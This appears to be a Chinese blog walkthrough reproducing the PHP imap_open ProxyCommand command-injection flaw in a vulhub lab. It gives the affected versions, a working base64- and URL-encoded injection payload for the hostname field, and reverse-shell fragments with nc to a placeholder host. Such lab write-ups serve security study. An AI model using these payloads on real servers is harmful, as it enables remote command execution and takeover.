影响范围
PHP 5.6.0版本至5.6.38版本
7.0.0版本至7.0.32版本
7.1.0版本至7.1.24版本
7.2.0版本至7.2.12版本
Debian Linux 8.0版本,9.0版本
该漏洞源于程序没有正确的验证server URI。远程攻击者可借助‘imap_rimap’和‘tcp_aopen’函数利用该漏洞执行任意的操作系统命令
漏洞搭建
没有特殊要求,请看
(3条消息) vulhub搭建方法_himobrinehacken的博客-CSDN博客
漏洞利用
启动之后访问web页面。
随便输入,抓下包。
注意hostname这里是由漏洞的,简单验证一下。
x+-oProxyCommand=echo echo'himobrine'>/tmp/test|base64 -d|sh}
注:这里要加密才能成功,记得先base64再url。其中最后一个大括号用来闭合接收变量一开始的括号,类似闭合sql注入里面的单引号. -d选项为decode解码 (%3d)= (%09)TAB管道符sh,就是把echo'test123'>/tmp/test1 解码以后作为shell脚本的参数,最后在通过ProxyCommand来执行shell.
加密完后的代码。
hostname=x+-oProxyCommand%3decho%09ZWNobyAnaGltb2JyaW5lJz4vdG1wL3Rlc3Q%3d|base64%09-d|sh}
执行成功以后,进入docker的bash容器,然后查看文件cat /tmp/test
docker exec -it d650e2fbb968 /bin/bash
我们可以看到已经成功了。
到这里就应用完了,想要更大的危害的话我就口述一下操作,之前做过不想再来一遍。
我们需要将反弹shell的文件反弹一般使用的是
/bin/sh -i 2>&1
nc xx.xx.xx.xx 4444 >/tmp/f
这个可以自己去实验了。